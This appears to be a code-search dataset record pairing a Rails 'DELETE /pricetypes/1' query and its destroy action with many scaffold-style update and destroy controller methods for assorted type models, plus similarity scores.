"def update\n @collection = @entity_type.collection\n respond_to do |format|\n if @entity_type.update(entity_type_params)\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'The entity type was successfully updated.' }\n format.json { render :show, status: :ok, location: @entity_type }\n else\n format.html { render :edit }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @proceduretype.update(proceduretype_params)\n format.html { redirect_to @proceduretype, notice: 'Proceduretype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @proceduretype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @procedure_type.update(procedure_type_params)\n format.html { redirect_to procedure_type_path(@procedure_type, active_tab: TAB_NAMES[:system_settings]), notice: 'Procedure Type was updated' }\n format.json { render :show, status: :ok, location: @procedure_type }\n else\n format.html { render :edit }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_admin_type.update(api_v1_admin_type_params)\n format.html { redirect_to @api_v1_admin_type, notice: 'Admin type was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_admin_type }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_admin_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @opportunity_type = OpportunityType.find(params[:id])\n\n respond_to do |format|\n if @opportunity_type.update_attributes(params[:opportunity_type])\n format.html { redirect_to @opportunity_type, notice: 'Opportunity type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @opportunity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @entry_type = EntryType.find(params[:id])\n\n respond_to do |format|\n field_type_ids = params[:entry_type].delete(\"field_type_ids\")\n @entry_type.field_type_ids = field_type_ids if field_type_ids\n params[:entry_type].delete(\"form_code\")\n if @entry_type.update_attributes(params[:entry_type])\n format.html { redirect_to @entry_type, notice: 'Entry type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @potion_type.update(potion_type_params)\n format.html { redirect_to @potion_type, notice: 'Potion type was successfully updated.' }\n format.json { render :show, status: :ok, location: @potion_type }\n else\n format.html { render :edit }\n format.json { render json: @potion_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pcr_type.update(pcr_type_params)\n format.html { redirect_to @pcr_type, notice: \"Pcr type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @pcr_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @pcr_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @intervention_type.update(intervention_type_params)\n format.html { redirect_to intervention_types_path, notice: 'O tipo de intervenção foi actualizado.' }\n format.json { render :show, status: :ok, location: @intervention_type }\n else\n format.html { render :edit }\n format.json { render json: @intervention_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @call_type.update(call_type_params)\n format.html { redirect_to @call_type, notice: 'Call type was successfully updated.' }\n format.json { render :show, status: :ok, location: @call_type }\n else\n format.html { render :edit }\n format.json { render json: @call_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @poi_type = PoiType.find(params[:id])\n\n respond_to do |format|\n if @poi_type.update_attributes(params[:poi_type])\n format.html { redirect_to @poi_type, notice: 'PoiType was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @poi_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company_type = CompanyType.find(params[:id])\n\n if @company_type.update(company_type_params)\n head :no_content\n else\n render json: @company_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @option_type.update(option_type_params)\n format.html { redirect_to [:admin, @option_type], notice: 'Option type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @option_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @roof_type.update(roof_type_params)\n format.html { redirect_to roof_types_path, notice: 'Roof type was successfully updated.' }\n format.json { render :show, status: :ok, location: @roof_type }\n else\n format.html { render :edit }\n format.json { render json: @roof_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n raw = params[:sample_type]\n st = SampleType.find(raw[:id])\n\n st.name = raw[:name]\n st.description = raw[:description]\n st.save\n st.save_field_types raw[:field_types]\n\n render json: { sample_type: st }\n\n end",
"def update\n @crate_type = CrateType.find(params[:id])\n\n respond_to do |format|\n if @crate_type.update_attributes(params[:crate_type])\n format.html { redirect_to @crate_type, :notice => 'Crate type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @crate_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @pre_print_type = PrePrintType.find(params[:id])\n\n respond_to do |format|\n if @pre_print_type.update_attributes(params[:pre_print_type])\n format.html { redirect_to @pre_print_type, notice: 'Pre print type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pre_print_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @settings_type.update(settings_type_params)\n format.html { redirect_to settings_types_path, notice: 'Settings type was successfully updated.' }\n format.json { render :show, status: :ok, location: @settings_type }\n else\n format.html { render :edit }\n format.json { render json: @settings_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @instance_type.update(instance_type_params)\n format.html { redirect_to @instance_type, notice: 'Instance type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @instance_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @reform_type = ReformType.find(params[:id])\n\n respond_to do |format|\n if @reform_type.update_attributes(params[:reform_type])\n format.html { redirect_to @reform_type, notice: 'Reform type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reform_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @setting_type.update(setting_type_params)\n format.html { redirect_to @setting_type, notice: 'Setting type was successfully updated.' }\n format.json { render :show, status: :ok, location: @setting_type }\n else\n format.html { render :edit }\n format.json { render json: @setting_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product_type.update(product_type_params)\n format.html { redirect_to @product_type, notice: 'Product type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type_params\n params.from_jsonapi.require(:type).permit(:name)\n end",
"def update\n authorize :resquest_type, :update?\n respond_to do |format|\n if @resquest_type.update(resquest_type_params)\n format.html { redirect_to @resquest_type, notice: 'Resquest type was successfully updated.' }\n format.json { render :show, status: :ok, location: @resquest_type }\n else\n format.html { render :edit }\n format.json { render json: @resquest_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @os_type = OsType.find(params[:id])\n\n respond_to do |format|\n if @os_type.update_attributes(params[:os_type])\n format.html { redirect_to @os_type, notice: 'Os type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @os_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @print_type.update(print_type_params)\n format.html { redirect_to @print_type, notice: 'Print type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @print_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @incident_type.update(incident_type_params)\n format.html { redirect_to admin_incident_types_path, notice: 'Incident type was successfully updated.' }\n format.json { render :show, status: :ok, location: @incident_type }\n else\n format.html { render :edit }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @os_type.update(os_type_params)\n format.html { redirect_to @os_type, notice: 'Os type was successfully updated.' }\n format.json { render :show, status: :ok, location: @os_type }\n else\n format.html { render :edit }\n format.json { render json: @os_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @type_person = TypePerson.find(params[:id])\n\n respond_to do |format|\n if @type_person.update_attributes(params[:type_person])\n format.html { redirect_to @type_person, notice: 'Type person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @box_request_abuse_type.update(box_request_abuse_type_params)\n format.html { redirect_to @box_request_abuse_type, notice: 'Box request abuse type was successfully updated.' }\n format.json { render :show, status: :ok, location: @box_request_abuse_type }\n else\n format.html { render :edit }\n format.json { render json: @box_request_abuse_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @power_rack_type.update(power_rack_type_params)\n format.html { redirect_to @power_rack_type, notice: \"Power rack type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @power_rack_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @power_rack_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @value_type = ValueType.find(params[:id])\n\n respond_to do |format|\n if @value_type.update_attributes(params[:value_type])\n format.html { redirect_to @value_type, notice: 'Value type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @value_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @point_type.update(point_type_params)\n format.html { redirect_to @point_type, notice: 'Point type was successfully updated.' }\n format.json { render :show, status: :ok, location: @point_type }\n else\n format.html { render :edit }\n format.json { render json: @point_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_user_type.update(api_v1_user_type_params)\n format.html { redirect_to @api_v1_user_type, notice: 'User type was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_user_type }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_user_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project_type.update(project_type_params)\n format.html { redirect_to @project_type, notice: 'Project type was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_type }\n else\n format.html { render :edit }\n format.json { render json: @project_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project_type.update(project_type_params)\n format.html { redirect_to @project_type, notice: 'Project type was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_type }\n else\n format.html { render :edit }\n format.json { render json: @project_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @equipe_type = EquipeType.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @equipe_type.update_attributes(params[:equipe_type])\r\n format.html { redirect_to equipe_types_url, notice: I18n.t(:general_update_success) }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @equipe_type.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @expense.update_attributes(params[get_type])\n update_paps\n format.html { redirect_to @expense, notice: 'Udalosť bola úspešne zmenená.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @page_type = PageType.find(params[:id])\n\n respond_to do |format|\n if @page_type.update_attributes(params[:page_type])\n format.html { redirect_to @page_type, notice: 'Page type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @addtype.update(addtype_params)\n format.html { redirect_to @addtype, notice: '变动方式修改成功!' }\n format.json { render :show, status: :ok, location: @addtype }\n else\n format.html { render :edit }\n format.json { render json: @addtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @defect_type.update(defect_type_params)\n format.html { redirect_to @defect_type, notice: 'Defect type was successfully updated.' }\n format.json { render :show, status: :ok, location: @defect_type }\n else\n format.html { render :edit }\n format.json { render json: @defect_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @type = Type.find(params[:id])\n if params[:type]['temp_title'] && params[:type]['temp_description']\n @type.name = params[:type]['temp_title']\n @type.description = params[:type]['temp_description']\n @type.image = params[:type]['temp_image']\n end\n @type.active = true\n\n respond_to do |format|\n if @type.update_attributes(params[:type])\n format.html { redirect_to @type, notice: 'Type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @special_needs_type = SpecialNeedsType.find(params[:id])\n\n respond_to do |format|\n if @special_needs_type.update_attributes(params[:special_needs_type])\n format.html { redirect_to @special_needs_type, :notice => 'Tipo de necessidade especial atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @special_needs_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_issue_type(project_id_or_key, type_id, params = {})\n patch(\"projects/#{project_id_or_key}/issueTypes/#{type_id}\", params)\n end",
"def update\n @promotion_type = PromotionType.find(params[:id])\n\n respond_to do |format|\n if @promotion_type.update_attributes(params[:promotion_type])\n format.html { redirect_to @promotion_type, notice: 'Promotion type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @promotion_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @prune_type.update(prune_type_params)\n format.html { redirect_to @prune_type, notice: 'Prune type was successfully updated.' }\n format.json { render :show, status: :ok, location: @prune_type }\n else\n format.html { render :edit }\n format.json { render json: @prune_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n if @client_type.update_attributes(params[:client_type])\n format.html { redirect_to @client_type, notice: 'Client type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @thing_type.update(thing_type_params)\n format.html { redirect_to @thing_type, notice: 'Thing type was successfully updated.' }\n format.json { render :show, status: :ok, location: @thing_type }\n else\n format.html { render :edit }\n format.json { render json: @thing_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trait_type = TraitType.find(params[:id])\n\n if @trait_type.update(trait_type_params)\n head :no_content\n else\n render json: @trait_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n @types_of_apprenticeship = TypesOfApprenticeship.find(params[:id])\n\n respond_to do |format|\n if @types_of_apprenticeship.update_attributes(params[:types_of_apprenticeship])\n format.html { redirect_to @types_of_apprenticeship, notice: 'Types of apprenticeship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @types_of_apprenticeship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @premise_type = PremiseType.find(params[:id])\n\n respond_to do |format|\n if @premise_type.update_attributes(params[:premise_type])\n format.html { redirect_to @premise_type, notice: 'Premise type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @premise_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question_type = QuestionType.find(params[:id])\n\n respond_to do |format|\n if @question_type.update_attributes(params[:question_type])\n format.html { redirect_to @question_type, notice: 'Question type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @clothing_type.update(clothing_type_params)\n format.html { redirect_to @clothing_type, notice: 'Clothing type was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing_type }\n else\n format.html { render :edit }\n format.json { render json: @clothing_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @projectile_type.update(projectile_type_params)\n format.html { redirect_to @projectile_type, notice: 'Projectile type was successfully updated.' }\n format.json { render :show, status: :ok, location: @projectile_type }\n else\n format.html { render :edit }\n format.json { render json: @projectile_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ip_type = IpType.find(params[:id])\n\n respond_to do |format|\n if @ip_type.update_attributes(params[:ip_type])\n format.html { redirect_to @ip_type, :notice => 'Ip type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ip_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project_type.update(base_project_type_params)\n format.html { redirect_to base_project_types_url, notice: 'Base project type was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_type }\n else\n @project_types = BaseProjectType.all.map{ |c| c = (c.id == @project_type.id)? @project_type:c}\n @project_type = BaseProjectType.new\n format.html { render :index }\n format.json { render json: @project_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \t\n record = AssetType.find(params[:id])\n record.update_attributes(params[:record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end",
"def update(name, type, options = {})\n Utils.stringify_keys!(options)\n path = \"/projects/#{project.name}/resources/#{name}\"\n\n headers = build_create_base_headers(name, type, options)\n body = build_create_base_body(options)\n\n !!client.put(path, headers: headers, body: body)\n end",
"def update\n\n @phone_types = PhoneType.all\n @phone_type = PhoneType.find(params[:id])\n\n @phone_type.update_attributes(phone_type_params)\n\n=begin\n respond_to do |format|\n if @phone_type.update(phone_type_params)\n format.html { redirect_to @phone_type, notice: 'Phone type was successfully updated.' }\n format.json { render :show, status: :ok, location: @phone_type }\n else\n format.html { render :edit }\n format.json { render json: @phone_type.errors, status: :unprocessable_entity }\n end\n end\n=end\n end",
"def update\n @act_type = ActType.find(params[:id])\n\n respond_to do |format|\n if @act_type.update_attributes(params[:act_type])\n format.html { redirect_to @act_type, notice: 'Данные типа документа успешно обновлены.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @act_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_company_type.update(admin_company_type_params)\n format.html { redirect_to @admin_company_type, notice: 'Company type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_company_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @entity_type.update(entity_type_params)\n format.html { redirect_to @entity_type, notice: 'Entity type was successfully updated.' }\n format.json { render :show, status: :ok, location: @entity_type }\n else\n format.html { render :edit }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cloth_type.update(cloth_type_params)\n format.html { redirect_to @cloth_type, notice: \"Cloth type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @cloth_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @cloth_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @adjustment_type.update(adjustment_type_params)\n format.html { redirect_to @adjustment_type, notice: 'Adjustment type was successfully updated.' }\n format.json { render :show, status: :ok, location: @adjustment_type }\n else\n format.html { render :edit }\n format.json { render json: @adjustment_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item_type.update(item_type_params)\n format.html { redirect_to @item_type, notice: 'ItemType was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @info_type = InfoType.find(params[:id])\n\n respond_to do |format|\n if @info_type.update_attributes(params[:info_type])\n format.html { redirect_to @info_type, notice: 'Info type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @info_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_break_type(id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::PUT,\n '/v2/labor/break-types/{id}',\n 'default')\n .template_param(new_parameter(id, key: 'id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def update\n @ProfileType = ProfileType.find(params[:id])\n\n respond_to do |format|\n if @ProfileType.update_attributes(params[:profile_type])\n format.html { redirect_to @ProfileType, notice: 'Profile Type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ProfileType.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @modeltype.update(modeltype_params)\n format.html { redirect_to @modeltype, notice: 'Modeltype was successfully updated.' }\n format.json { render :show, status: :ok, location: @modeltype }\n else\n format.html { render :edit }\n format.json { render json: @modeltype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @task_type.update(task_type_params)\n format.html { redirect_to task_types_path, notice: 'Task type was successfully updated.' }\n format.json { render :show, status: :ok, location: @task_type }\n else\n format.html { render :edit }\n format.json { render json: @task_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @powder_type.update(powder_type_params)\n format.html { redirect_to @powder_type, notice: 'Powder type was successfully updated.' }\n format.json { render :show, status: :ok, location: @powder_type }\n else\n format.html { render :edit }\n format.json { render json: @powder_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @use_type.update(use_type_params)\n format.html { redirect_to @use_type, notice: 'Use type was successfully updated.' }\n format.json { render :show, status: :ok, location: @use_type }\n else\n format.html { render :edit }\n format.json { render json: @use_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @interview_type.update(interview_type_params)\n format.html { redirect_to @interview_type, notice: 'Interview type was successfully updated.' }\n format.json { render :show, status: :ok, location: @interview_type }\n else\n format.html { render :edit }\n format.json { render json: @interview_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @contract_type.update(contract_type_params)\n format.html { redirect_to @contract_type, notice: 'Contract type was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_type }\n else\n format.html { render :edit }\n format.json { render json: @contract_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gift_type.update(gift_type_params)\n format.html { redirect_to admin_gift_type_url(@gift_type), notice: 'Gift type was successfully updated.' }\n format.json { render :show, status: :ok, location: @gift_type }\n else\n format.html { render :edit }\n format.json { render json: @gift_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @service_type = ServiceType.find(params[:id])\n\n respond_to do |format|\n if @service_type.update_attributes(params[:service_type])\n format.html { redirect_to @service_type, notice: 'Service type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service_type.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6347546",
"0.6296984",
"0.6278799",
"0.6275465",
"0.6262482",
"0.62403977",
"0.62403977",
"0.62166166",
"0.61902964",
"0.6180412",
"0.6174437",
"0.61717933",
"0.61661386",
"0.61605716",
"0.6146162",
"0.614573",
"0.614209",
"0.61316186",
"0.6125931",
"0.6121973",
"0.61040926",
"0.61001104",
"0.60981756",
"0.6097505",
"0.60953295",
"0.6087204",
"0.6085727",
"0.6082694",
"0.60745025",
"0.6069781",
"0.6064771",
"0.605554",
"0.605377",
"0.6052547",
"0.60511744",
"0.6047873",
"0.6046975",
"0.6037714",
"0.6034723",
"0.60184157",
"0.60173804",
"0.60168874",
"0.60066473",
"0.60057646",
"0.59986615",
"0.5998369",
"0.5989582",
"0.5989128",
"0.59779084",
"0.59753215",
"0.59740376",
"0.59705955",
"0.59692603",
"0.5968577",
"0.59629166",
"0.5953994",
"0.5952773",
"0.59526896",
"0.5952377",
"0.5952377",
"0.59463876",
"0.59463817",
"0.5940674",
"0.59387445",
"0.5938215",
"0.5929043",
"0.5923819",
"0.5923388",
"0.5921907",
"0.5915182",
"0.59122086",
"0.5906703",
"0.59062433",
"0.59056324",
"0.5892689",
"0.5892371",
"0.5890604",
"0.5889908",
"0.5888869",
"0.58771497",
"0.5875964",
"0.5873444",
"0.58652955",
"0.58583766",
"0.58559966",
"0.5851495",
"0.5850354",
"0.5844948",
"0.58425933",
"0.58386153",
"0.5835918",
"0.58352387",
"0.5834549",
"0.5834428",
"0.5832896",
"0.5826191",
"0.5825679",
"0.582499",
"0.58226836",
"0.58214766"
] |
0.6562807
|
0
|
DELETE /pricetypes/1 DELETE /pricetypes/1.json
|
def destroy
@pricetype.destroy
respond_to do |format|
format.html { redirect_to pricetypes_url, notice: 'Pricetype was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @type = Type.find(params[:type])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to company_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type = Type.find(params[:id])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dishtype.destroy\n respond_to do |format|\n format.html { redirect_to dishtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pcr_type.destroy\n respond_to do |format|\n format.html { redirect_to pcr_types_url, notice: \"Pcr type was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @realty_type = RealtyType.find(params[:id])\n @realty_type.destroy\n\n respond_to do |format|\n format.html { redirect_to realty_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ptype.destroy\n respond_to do |format|\n format.html { redirect_to ptypes_url, notice: 'Ptype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ptype.destroy\n respond_to do |format|\n format.html { redirect_to ptypes_url, notice: 'Ptype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_admin_type.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_admin_types_url, notice: 'Admin type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @affected_type.destroy\n respond_to do |format|\n format.html { redirect_to affected_types_url, notice: 'Affected type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shape_type = ShapeType.find(params[:id])\n @shape_type.destroy\n\n\t\tmsg = I18n.t('app.msgs.success_deleted', :obj => I18n.t('app.common.shape_type'))\n\t\tsend_status_update(I18n.t('app.msgs.cache_cleared', :action => msg))\n respond_to do |format|\n format.html { redirect_to admin_shape_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @novelty_type.destroy\n respond_to do |format|\n format.html { redirect_to novelty_types_url, notice: 'Novelty type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testtype.destroy\n respond_to do |format|\n format.html { redirect_to testtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @collection_type = CollectionType.find(params[:id])\n @collection_type.destroy\n\n respond_to do |format|\n format.html { redirect_to collection_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @paper_type = PaperType.find(params[:id])\n @paper_type.destroy\n\n respond_to do |format|\n format.html { redirect_to paper_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_type = ClientType.find(params[:id])\n @client_type.destroy\n\n respond_to do |format|\n format.html { redirect_to client_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @os_type = OsType.find(params[:id])\n @os_type.destroy\n\n respond_to do |format|\n format.html { redirect_to os_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @premise_type = PremiseType.find(params[:id])\n @premise_type.destroy\n\n respond_to do |format|\n format.html { redirect_to premise_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ref_diagnostic_test_type = Ref::DiagnosticTestType.find(params[:id])\n @ref_diagnostic_test_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_diagnostic_test_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @devicetype.destroy\n respond_to do |format|\n format.html { redirect_to devicetypes_url, notice: 'Devicetype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @claim_type.destroy\n respond_to do |format|\n format.html { redirect_to claim_types_url, notice: 'Claim type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @segment_type = SegmentType.find(params[:id])\n @segment_type.destroy\n\n respond_to do |format|\n format.html { redirect_to segment_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @prune_type.destroy\n respond_to do |format|\n format.html { redirect_to prune_types_url, notice: 'Prune type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @poi_type = PoiType.find(params[:id])\n @poi_type.destroy\n\n respond_to do |format|\n format.html { redirect_to poi_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flat_type.destroy\n respond_to do |format|\n format.html { redirect_to flat_types_url, notice: 'Flat type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page_type = PageType.find(params[:id])\n @page_type.destroy\n\n respond_to do |format|\n format.html { redirect_to page_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reform_type = ReformType.find(params[:id])\n @reform_type.destroy\n\n respond_to do |format|\n format.html { redirect_to reform_types_url }\n format.json { head :no_content }\n end\n end",
